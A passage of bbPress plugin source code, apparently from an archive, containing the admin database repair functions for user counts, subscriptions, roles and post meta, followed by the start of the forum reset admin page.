	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 3, sprintf( $statement, $result ) );
	}

	foreach ( array_chunk( $insert_values, 10000 ) as $chunk ) {
		$chunk = "\n" . implode( ",\n", $chunk );
		$sql_insert = "INSERT INTO `{$bbp_db->usermeta}` (`user_id`, `meta_key`, `meta_value`) VALUES {$chunk}";

		if ( is_wp_error( $bbp_db->query( $sql_insert ) ) ) {
			return array( 4, sprintf( $statement, $result ) );
		}
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recount topic replied by the users
 *
 * @since 2.0.0 bbPress (r2613)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_user_reply_count() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement   = esc_html__( 'Counting the number of topics to which each user has replied&hellip; %s', 'bbpress' );
	$result      = esc_html__( 'Failed!', 'bbpress' );

	$sql_select  = "SELECT `post_author`, COUNT(DISTINCT `ID`) as `_count` FROM `{$bbp_db->posts}` WHERE `post_type` = '" . bbp_get_reply_post_type() . "' AND `post_status` = '" . bbp_get_public_status_id() . "' GROUP BY `post_author`";
	$insert_rows = $bbp_db->get_results( $sql_select );

	if ( is_wp_error( $insert_rows ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	$key           = $bbp_db->prefix . '_bbp_reply_count';
	$insert_values = array();
	foreach ( $insert_rows as $insert_row ) {
		$insert_values[] = "('{$insert_row->post_author}', '{$key}', '{$insert_row->_count}')";
	}

	if ( !count( $insert_values ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	$sql_delete = "DELETE FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '{$key}'";
	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 3, sprintf( $statement, $result ) );
	}

	foreach ( array_chunk( $insert_values, 10000 ) as $chunk ) {
		$chunk = "\n" . implode( ",\n", $chunk );
		$sql_insert = "INSERT INTO `{$bbp_db->usermeta}` (`user_id`, `meta_key`, `meta_value`) VALUES {$chunk}";

		if ( is_wp_error( $bbp_db->query( $sql_insert ) ) ) {
			return array( 4, sprintf( $statement, $result ) );
		}
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Repair user favorites
 *
 * @since 2.0.0 bbPress (r2613)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_user_favorites() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Removing unpublished topics from user favorites&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	// Query for users with favorites
	$key       = $bbp_db->prefix . '_bbp_favorites';
	$users     = $bbp_db->get_results( "SELECT `user_id`, `meta_value` AS `favorites` FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '{$key}'" );

	if ( is_wp_error( $users ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	$topics = $bbp_db->get_col( "SELECT `ID` FROM `{$bbp_db->posts}` WHERE `post_type` = '" . bbp_get_topic_post_type() . "' AND `post_status` = '" . bbp_get_public_status_id() . "'" );

	if ( is_wp_error( $topics ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	$values = array();
	foreach ( $users as $user ) {
		if ( empty( $user->favorites ) || ! is_string( $user->favorites ) ) {
			continue;
		}

		$favorites = array_intersect( $topics, explode( ',', $user->favorites ) );
		if ( empty( $favorites ) || ! is_array( $favorites ) ) {
			continue;
		}

		$favorites_joined = implode( ',', $favorites );
		$values[]         = "('{$user->user_id}', '{$key}', '{$favorites_joined}')";

		// Cleanup
		unset( $favorites, $favorites_joined );
	}

	if ( !count( $values ) ) {
		$result = esc_html__( 'Nothing to remove!', 'bbpress' );
		return array( 0, sprintf( $statement, $result ) );
	}

	$sql_delete = "DELETE FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '{$key}'";
	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 4, sprintf( $statement, $result ) );
	}

	foreach ( array_chunk( $values, 10000 ) as $chunk ) {
		$chunk = "\n" . implode( ",\n", $chunk );
		$sql_insert = "INSERT INTO `{$bbp_db->usermeta}` (`user_id`, `meta_key`, `meta_value`) VALUES {$chunk}";
		if ( is_wp_error( $bbp_db->query( $sql_insert ) ) ) {
			return array( 5, sprintf( $statement, $result ) );
		}
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Clean the user topic subscriptions
 *
 * @since 2.0.0 bbPress (r2668)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_user_topic_subscriptions() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Removing trashed topics from user subscriptions&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	$key       = $bbp_db->prefix . '_bbp_subscriptions';
	$users     = $bbp_db->get_results( "SELECT `user_id`, `meta_value` AS `subscriptions` FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '{$key}'" );

	if ( is_wp_error( $users ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	$topics = $bbp_db->get_col( "SELECT `ID` FROM `{$bbp_db->posts}` WHERE `post_type` = '" . bbp_get_topic_post_type() . "' AND `post_status` = '" . bbp_get_public_status_id() . "'" );
	if ( is_wp_error( $topics ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	$values = array();
	foreach ( $users as $user ) {
		if ( empty( $user->subscriptions ) || ! is_string( $user->subscriptions ) ) {
			continue;
		}

		$subscriptions = array_intersect( $topics, explode( ',', $user->subscriptions ) );
		if ( empty( $subscriptions ) || ! is_array( $subscriptions ) ) {
			continue;
		}

		$subscriptions_joined = implode( ',', $subscriptions );
		$values[]             = "('{$user->user_id}', '{$key}', '{$subscriptions_joined}')";

		// Cleanup
		unset( $subscriptions, $subscriptions_joined );
	}

	if ( !count( $values ) ) {
		$result = esc_html__( 'Nothing to remove!', 'bbpress' );
		return array( 0, sprintf( $statement, $result ) );
	}

	$sql_delete = "DELETE FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '{$key}'";
	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 4, sprintf( $statement, $result ) );
	}

	foreach ( array_chunk( $values, 10000 ) as $chunk ) {
		$chunk = "\n" . implode( ",\n", $chunk );
		$sql_insert = "INSERT INTO `{$bbp_db->usermeta}` (`user_id`, `meta_key`, `meta_value`) VALUES {$chunk}";
		if ( is_wp_error( $bbp_db->query( $sql_insert ) ) ) {
			return array( 5, sprintf( $statement, $result ) );
		}
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Clean the user forum subscriptions
 *
 * @since 2.5.0 bbPress (r5155)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_user_forum_subscriptions() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Removing trashed forums from user subscriptions&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	$key       = $bbp_db->prefix . '_bbp_forum_subscriptions';
	$users     = $bbp_db->get_results( "SELECT `user_id`, `meta_value` AS `subscriptions` FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '{$key}'" );

	if ( is_wp_error( $users ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	$forums = $bbp_db->get_col( "SELECT `ID` FROM `{$bbp_db->posts}` WHERE `post_type` = '" . bbp_get_forum_post_type() . "' AND `post_status` = '" . bbp_get_public_status_id() . "'" );
	if ( is_wp_error( $forums ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	$values = array();
	foreach ( $users as $user ) {
		if ( empty( $user->subscriptions ) || ! is_string( $user->subscriptions ) ) {
			continue;
		}

		$subscriptions = array_intersect( $forums, explode( ',', $user->subscriptions ) );
		if ( empty( $subscriptions ) || ! is_array( $subscriptions ) ) {
			continue;
		}

		$subscriptions_joined = implode( ',', $subscriptions );
		$values[]             = "('{$user->user_id}', '{$key}', '{$subscriptions_joined}')";

		// Cleanup
		unset( $subscriptions, $subscriptions_joined );
	}

	if ( !count( $values ) ) {
		$result = esc_html__( 'Nothing to remove!', 'bbpress' );
		return array( 0, sprintf( $statement, $result ) );
	}

	$sql_delete = "DELETE FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '{$key}'";
	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 4, sprintf( $statement, $result ) );
	}

	foreach ( array_chunk( $values, 10000 ) as $chunk ) {
		$chunk = "\n" . implode( ",\n", $chunk );
		$sql_insert = "INSERT INTO `{$bbp_db->usermeta}` (`user_id`, `meta_key`, `meta_value`) VALUES {$chunk}";
		if ( is_wp_error( $bbp_db->query( $sql_insert ) ) ) {
			return array( 5, sprintf( $statement, $result ) );
		}
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * This repair tool will map each user of the current site to their respective
 * forums role. By default, Admins will be Key Masters, and every other role
 * will be the default role defined in Settings > Forums (Participant).
 *
 * @since 2.2.0 bbPress (r4340)
 */
function bbp_admin_repair_user_roles() {

	$statement    = esc_html__( 'Remapping forum role for each user on this site&hellip; %s', 'bbpress' );
	$changed      = 0;
	$role_map     = bbp_get_user_role_map();
	$default_role = bbp_get_default_role();

	// Bail if no role map exists
	if ( empty( $role_map ) ) {
		return array( 1, sprintf( $statement, esc_html__( 'Failed!', 'bbpress' ) ) );
	}

	// Get non-forum roles
	$blog_roles = array_keys( bbp_get_blog_roles() );

	// Iterate through each role...
	foreach ( $blog_roles as $role ) {

		// Reset the offset
		$offset = 0;

		// If no role map exists, give the default forum role (bbp-participant)
		$new_role = isset( $role_map[ $role ] )
			? $role_map[ $role ]
			: $default_role;

		// Get users of this site, limited to 1000
		while ( $users = get_users( array(
			'role'   => $role,
			'fields' => 'ID',
			'number' => 1000,
			'offset' => $offset
		) ) ) {

			// Iterate through each user of $role and try to set it
			foreach ( (array) $users as $user_id ) {
				if ( bbp_set_user_role( $user_id, $new_role ) ) {
					++$changed; // Keep a count to display at the end
				}
			}

			// Bump the offset for the next query iteration
			$offset = $offset + 1000;
		}
	}

	// Reset the offset
	$offset  = 0;
	$bbp_db  = bbp_db();
	$cap_key = $bbp_db->get_blog_prefix() . 'capabilities';

	// Users without roles should be granted the default role, but not on multi-
	// site installations where not all users get a role by default.
	if ( ! is_multisite() ) {

		// Get users with missing capabilities on this site, limited to 1000
		while ( $users = get_users( array(
			'meta_key'     => $cap_key,
			'meta_compare' => 'NOT EXISTS',
			'fields'       => 'ID',
			'number'       => 1000,
			'offset'       => $offset
		) ) ) {

			// Iterate through each user of $role and try to set it
			foreach ( (array) $users as $user_id ) {
				if ( bbp_set_user_role( $user_id, $default_role ) ) {
					++$changed; // Keep a count to display at the end
				}
			}

			// Bump the offset for the next query iteration
			$offset = $offset + 1000;
		}

	// On multisite, we'll look for users with an empty capabilities array.
	// These are users who basically have malformed caps, and we can fix that.
	} else {

		// Get users with empty capabilities on this site, limited to 1000
		while ( $users = get_users( array(
			'meta_key'   => $cap_key,
			'meta_value' => 'a:0:{}',
			'fields'     => 'ID',
			'number'     => 1000,
			'offset'     => $offset
		) ) ) {

			// Iterate through each user of $role and try to set it
			foreach ( (array) $users as $user_id ) {
				if ( bbp_set_user_role( $user_id, $default_role ) ) {
					++$changed; // Keep a count to display at the end
				}
			}

			// Bump the offset for the next query iteration
			$offset = $offset + 1000;
		}
	}

	$result = sprintf( esc_html__( 'Complete! %s users updated.', 'bbpress' ), bbp_number_format( $changed ) );

	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Repair the last post in every topic and forum
 *
 * @since 2.0.0 bbPress (r3040)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_freshness() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Recomputing latest post in every topic and forum&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	// First, delete everything.
	if ( is_wp_error( $bbp_db->query( "DELETE FROM `{$bbp_db->postmeta}` WHERE `meta_key` IN ( '_bbp_last_reply_id', '_bbp_last_topic_id', '_bbp_last_active_id', '_bbp_last_active_time' )" ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Post types and status
	$fpt = bbp_get_forum_post_type();
	$tpt = bbp_get_topic_post_type();
	$rpt = bbp_get_reply_post_type();
	$pps = bbp_get_public_status_id();

	// Next, give all the topics with replies the ID their last reply.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `topic`.`ID`, '_bbp_last_reply_id', MAX( `reply`.`ID` )
			FROM `{$bbp_db->posts}` AS `topic` INNER JOIN `{$bbp_db->posts}` AS `reply` ON `topic`.`ID` = `reply`.`post_parent`
			WHERE `reply`.`post_status` = '{$pps}' AND `topic`.`post_type` = '{$tpt}' AND `reply`.`post_type` = '{$rpt}'
			GROUP BY `topic`.`ID` )" ) ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	// For any remaining topics, give a reply ID of 0.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `ID`, '_bbp_last_reply_id', 0
			FROM `{$bbp_db->posts}` AS `topic` LEFT JOIN `{$bbp_db->postmeta}` AS `reply`
			ON `topic`.`ID` = `reply`.`post_id` AND `reply`.`meta_key` = '_bbp_last_reply_id'
			WHERE `reply`.`meta_id` IS NULL AND `topic`.`post_type` = '{$tpt}' )" ) ) ) {
		return array( 3, sprintf( $statement, $result ) );
	}

	// Now we give all the forums with topics the ID their last topic.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `forum`.`ID`, '_bbp_last_topic_id', MAX( `topic`.`ID` )
			FROM `{$bbp_db->posts}` AS `forum` INNER JOIN `{$bbp_db->posts}` AS `topic` ON `forum`.`ID` = `topic`.`post_parent`
			WHERE `topic`.`post_status` = '{$pps}' AND `forum`.`post_type` = '{$fpt}' AND `topic`.`post_type` = '{$tpt}'
			GROUP BY `forum`.`ID` )" ) ) ) {
		return array( 4, sprintf( $statement, $result ) );
	}

	// For any remaining forums, give a topic ID of 0.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `ID`, '_bbp_last_topic_id', 0
			FROM `{$bbp_db->posts}` AS `forum` LEFT JOIN `{$bbp_db->postmeta}` AS `topic`
			ON `forum`.`ID` = `topic`.`post_id` AND `topic`.`meta_key` = '_bbp_last_topic_id'
			WHERE `topic`.`meta_id` IS NULL AND `forum`.`post_type` = '{$fpt}' )" ) ) ) {
		return array( 5, sprintf( $statement, $result ) );
	}

	// After that, we give all the topics with replies the ID their last reply (again, this time for a different reason).
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `topic`.`ID`, '_bbp_last_active_id', MAX( `reply`.`ID` )
			FROM `{$bbp_db->posts}` AS `topic` INNER JOIN `{$bbp_db->posts}` AS `reply` ON `topic`.`ID` = `reply`.`post_parent`
			WHERE `reply`.`post_status` = '{$pps}' AND `topic`.`post_type` = '{$tpt}' AND `reply`.`post_type` = '{$rpt}'
			GROUP BY `topic`.`ID` )" ) ) ) {
		return array( 6, sprintf( $statement, $result ) );
	}

	// For any remaining topics, give a reply ID of themself.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `ID`, '_bbp_last_active_id', `ID`
			FROM `{$bbp_db->posts}` AS `topic` LEFT JOIN `{$bbp_db->postmeta}` AS `reply`
			ON `topic`.`ID` = `reply`.`post_id` AND `reply`.`meta_key` = '_bbp_last_active_id'
			WHERE `reply`.`meta_id` IS NULL AND `topic`.`post_type` = '{$tpt}' )" ) ) ) {
		return array( 7, sprintf( $statement, $result ) );
	}

	// Give topics with replies their last update time.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `topic`.`ID`, '_bbp_last_active_time', MAX( `reply`.`post_date` )
			FROM `{$bbp_db->posts}` AS `topic` INNER JOIN `{$bbp_db->posts}` AS `reply` ON `topic`.`ID` = `reply`.`post_parent`
			WHERE `reply`.`post_status` = '{$pps}' AND `topic`.`post_type` = '{$tpt}' AND `reply`.`post_type` = '{$rpt}'
			GROUP BY `topic`.`ID` )" ) ) ) {
		return array( 8, sprintf( $statement, $result ) );
	}

	// Give topics without replies their last update time.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `ID`, '_bbp_last_active_time', `post_date`
			FROM `{$bbp_db->posts}` AS `topic` LEFT JOIN `{$bbp_db->postmeta}` AS `reply`
			ON `topic`.`ID` = `reply`.`post_id` AND `reply`.`meta_key` = '_bbp_last_active_time'
			WHERE `reply`.`meta_id` IS NULL AND `topic`.`post_type` = '{$tpt}' )" ) ) ) {
		return array( 9, sprintf( $statement, $result ) );
	}

	// Forums need to know what their last active item is as well. Now it gets a bit more complex to do in the database.
	$forums = $bbp_db->get_col( "SELECT `ID` FROM `{$bbp_db->posts}` WHERE `post_type` = '{$fpt}' and `post_status` != 'auto-draft'" );
	if ( is_wp_error( $forums ) ) {
		return array( 10, sprintf( $statement, $result ) );
	}

	// Loop through forums
	foreach ( $forums as $forum_id ) {
		if ( ! bbp_is_forum_category( $forum_id ) ) {
			bbp_update_forum( array( 'forum_id' => $forum_id ) );
		}
	}

	// Loop through categories when forums are done
	foreach ( $forums as $forum_id ) {
		if ( bbp_is_forum_category( $forum_id ) ) {
			bbp_update_forum( array( 'forum_id' => $forum_id ) );
		}
	}

	// Complete results
	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Repair the relationship of sticky topics to the actual parent forum
 *
 * @since 2.3.0 bbPress (r4695)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_sticky() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Repairing the sticky topic to the parent forum relationships&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	$forums    = $bbp_db->get_col( "SELECT ID FROM `{$bbp_db->posts}` WHERE `post_type` = '" . bbp_get_forum_post_type() . "'" );

	// Bail if no forums found
	if ( empty( $forums ) || is_wp_error( $forums ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Loop through forums and get their sticky topics
	foreach ( $forums as $forum ) {
		$forum_stickies[ $forum ] = get_post_meta( $forum, '_bbp_sticky_topics', true );
	}

	// Cleanup
	unset( $forums, $forum );

	// Loop through each forum with sticky topics
	foreach ( $forum_stickies as $forum_id => $stickies ) {

		// Skip if no stickies
		if ( empty( $stickies ) ) {
			continue;
		}

		// Loop through each sticky topic
		foreach ( $stickies as $id => $topic_id ) {

			// If the topic is not a super sticky, and the forum ID does not
			// match the topic's forum ID, unset the forum's sticky meta.
			if ( ! bbp_is_topic_super_sticky( $topic_id ) && ( $forum_id !== bbp_get_topic_forum_id( $topic_id ) ) ) {
				unset( $forum_stickies[ $forum_id ][ $id ] );
			}
		}

		// Get sticky topic ID's, or use empty string
		$stickers = ! empty( $forum_stickies[ $forum_id ] )
			? array_values( $forum_stickies[ $forum_id ] )
			: '';

		// Update the forum's sticky topics meta
		update_post_meta( $forum_id, '_bbp_sticky_topics', $stickers );
	}

	// Complete results
	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Repair closed topics
 *
 * Closed topics that are missing the post-meta "_bbp_status" key value "publish"
 * result in unexpected behavior, primarily this would have only occurred if you
 * had imported forums from another forum package previous to bbPress v2.6,
 * https://bbpress.trac.wordpress.org/ticket/2577
 *
 * @since 2.6.0 bbPress (r5668)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_closed_topics() {

	// Define variables
	$bbp_db        = bbp_db();
	$statement     = esc_html__( 'Repairing closed topics&hellip; %s', 'bbpress' );
	$result        = esc_html__( 'No closed topics to repair.',        'bbpress' );
	$changed       = 0;

	// Results
	$query         = "SELECT ID FROM `{$bbp_db->posts}` WHERE `post_type` = %s AND `post_status` = %s";
	$prepare       = $bbp_db->prepare( $query, bbp_get_topic_post_type(), bbp_get_closed_status_id() );
	$closed_topics = $bbp_db->get_col( $prepare );

	// Bail if no closed topics found
	if ( empty( $closed_topics ) || is_wp_error( $closed_topics ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Loop through each closed topic
	foreach ( $closed_topics as $closed_topic ) {

		// Check if the closed topic already has a postmeta _bbp_status value
		$topic_status = get_post_meta( $closed_topic, '_bbp_status', true );

		// If we don't have a postmeta _bbp_status value
		if ( empty( $topic_status ) ) {
			update_post_meta( $closed_topic, '_bbp_status', 'publish' );
			++$changed; // Keep a count to display at the end
		}
	}

	// Cleanup
	unset( $closed_topics, $closed_topic, $topic_status );

	// Complete results
	$result = sprintf( _n( 'Complete! %d closed topic repaired.', 'Complete! %d closed topics repaired.', $changed, 'bbpress' ), $changed );

	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Repair the private and hidden forums
 *
 * @since 2.2.0 bbPress (r4104)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_forum_visibility() {
	$statement = esc_html__( 'Recalculating forum visibility&hellip; %s', 'bbpress' );

	// Bail if queries returned errors
	if ( ! bbp_repair_forum_visibility() ) {
		return array( 2, sprintf( $statement, esc_html__( 'Failed!',   'bbpress' ) ) );

	// Complete results
	} else {
		return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
	}
}

/**
 * Repair the parent forum meta for each topic and reply
 *
 * @since 2.1.0 bbPress (r3876)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_forum_meta() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Recalculating the forum for each post&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	// First, delete everything.
	if ( is_wp_error( $bbp_db->query( "DELETE FROM `{$bbp_db->postmeta}` WHERE `meta_key` = '_bbp_forum_id'" ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Post types and status
	$tpt = bbp_get_topic_post_type();
	$rpt = bbp_get_reply_post_type();
	$fmt = bbp_get_forum_post_type();

	// Next, give all the topics their parent forum id.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `topic`.`ID`, '_bbp_forum_id', `topic`.`post_parent`
			FROM `$bbp_db->posts`
				AS `topic`
			WHERE `topic`.`post_type` = '{$tpt}'
			GROUP BY `topic`.`ID` )" ) ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	// Next, give all the forums their parent forum id.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `forum`.`ID`, '_bbp_forum_id', `forum`.`post_parent`
			FROM `$bbp_db->posts`
				AS `forum`
			WHERE `forum`.`post_type` = '{$fmt}'
			GROUP BY `forum`.`ID` )" ) ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	// Next, give all the replies their parent forum id.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `reply`.`ID`, '_bbp_forum_id', `topic`.`post_parent`
			FROM `$bbp_db->posts`
				AS `reply`
			INNER JOIN `$bbp_db->posts`
				AS `topic`
				ON `reply`.`post_parent` = `topic`.`ID`
			WHERE `topic`.`post_type` = '{$tpt}'
				AND `reply`.`post_type` = '{$rpt}'
			GROUP BY `reply`.`ID` )" ) ) ) {
		return array( 3, sprintf( $statement, $result ) );
	}

	// Complete results
	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Repair the topic for each post
 *
 * @since 2.1.0 bbPress (r3876)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_topic_meta() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Recalculating the topic for each post&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	// First, delete everything.
	if ( is_wp_error( $bbp_db->query( "DELETE FROM `{$bbp_db->postmeta}` WHERE `meta_key` = '_bbp_topic_id'" ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Post types and status
	$tpt = bbp_get_topic_post_type();
	$rpt = bbp_get_reply_post_type();

	// Next, give all the topics with replies the ID their last reply.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `topic`.`ID`, '_bbp_topic_id', `topic`.`ID`
			FROM `$bbp_db->posts`
				AS `topic`
			WHERE `topic`.`post_type` = '{$tpt}'
			GROUP BY `topic`.`ID` )" ) ) ) {
		return array( 3, sprintf( $statement, $result ) );
	}

	// Next, give all the topics with replies the ID their last reply.
	if ( is_wp_error( $bbp_db->query( "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`)
			( SELECT `reply`.`ID`, '_bbp_topic_id', `topic`.`ID`
			FROM `$bbp_db->posts`
				AS `reply`
			INNER JOIN `$bbp_db->posts`
				AS `topic`
				ON `reply`.`post_parent` = `topic`.`ID`
			WHERE `topic`.`post_type` = '{$tpt}'
				AND `reply`.`post_type` = '{$rpt}'
			GROUP BY `reply`.`ID` )" ) ) ) {
		return array( 4, sprintf( $statement, $result ) );
	}

	// Complete results
	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recalculate reply menu order
 *
 * @since 2.5.4 bbPress (r5367)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_reply_menu_order() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Recalculating reply menu order&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'No reply positions to recalculate.',         'bbpress' );

	// Delete cases where `_bbp_reply_to` was accidentally set to itself
	if ( is_wp_error( $bbp_db->query( "DELETE FROM `{$bbp_db->postmeta}` WHERE `meta_key` = '_bbp_reply_to' AND `post_id` = `meta_value`" ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Post type
	$rpt = bbp_get_reply_post_type();

	// Get an array of reply id's to update the menu oder for each reply
	$replies = $bbp_db->get_results( "SELECT `a`.`ID` FROM `{$bbp_db->posts}` AS `a`
										INNER JOIN (
											SELECT `menu_order`, `post_parent`
											FROM `{$bbp_db->posts}`
											GROUP BY `menu_order`, `post_parent`
											HAVING COUNT( * ) >1
										)`b`
										ON `a`.`menu_order` = `b`.`menu_order`
										AND `a`.`post_parent` = `b`.`post_parent`
										WHERE `post_type` = '{$rpt}'", OBJECT_K );

	// Bail if no replies returned
	if ( empty( $replies ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Recalculate the menu order position for each reply
	foreach ( $replies as $reply ) {
		bbp_update_reply_position( $reply->ID );
	}

	// Cleanup
	unset( $replies, $reply );

	// Complete results
	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}
includes/admin/tools/reset.php000066600000022402151771460310012446 0ustar00<?php

/**
 * bbPress Admin Tools Reset
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Admin reset page
 *
 * @since 2.0.0 bbPress (r2613)
 *
 */
function bbp_admin_reset_page() {
?>

	<div class="wrap">
		<h1 class="wp-heading-inline"><?php esc_html_e( 'Forum Tools', 'bbpress' ); ?></h1>
		<hr class="wp-header-end">
		<h2 class="nav-tab-wrapper"><?php bbp_tools_admin_tabs( 'bbp-reset' ); ?></h2>
		<p><?php esc_html_e( 'Revert your forums back to a brand new installation, as if bbPress were never installed. This process cannot be undone.', 'bbpress' ); ?></p>

		<form class="settings" method="post" action="">
			<table class="form-table">
				<tbody>
					<tr valign="top">
						<th scope="row"><?php esc_html_e( 'The following data will be removed:', 'bbpress' ) ?></th>
						<td>
							<?php esc_html_e( 'All Forums',           'bbpress' ); ?><br />
							<?php esc_html_e( 'All Topics',           'bbpress' ); ?><br />
							<?php esc_html_e( 'All Replies',          'bbpress' ); ?><br />
							<?php esc_html_e( 'All Topic Tags',       'bbpress' ); ?><br />
							<?php esc_html_e( 'All Meta Data',        'bbpress' ); ?><br />
							<?php esc_html_e( 'Forum Settings',       'bbpress' ); ?><br />
							<?php esc_html_e( 'Forum Activity',       'bbpress' ); ?><br />
							<?php esc_html_e( 'Forum User Roles',     'bbpress' ); ?><br />
							<?php esc_html_e( 'Forum Moderators',     'bbpress' ); ?><br />
							<?php esc_html_e( 'Importer Helper Data', 'bbpress' ); ?><br />
						</td>
					</tr>
					<tr valign="top">
						<th scope="row"><?php esc_html_e( 'Delete imported users?', 'bbpress' ); ?></th>
						<td>
							<fieldset>
								<legend class="screen-reader-text"><span><?php esc_html_e( "Say it ain't so!", 'bbpress' ); ?></span></legend>
								<label><input type="checkbox" class="checkbox" name="bbpress-delete-imported-users" id="bbpress-delete-imported-users" value="1" /> <?php esc_html_e( 'This option will delete all previously imported users, and cannot be undone.', 'bbpress' ); ?></label>
								<p class="description"><?php esc_html_e( 'Proceeding without this checked removes the meta-data necessary to delete these users later.', 'bbpress' ); ?></p>
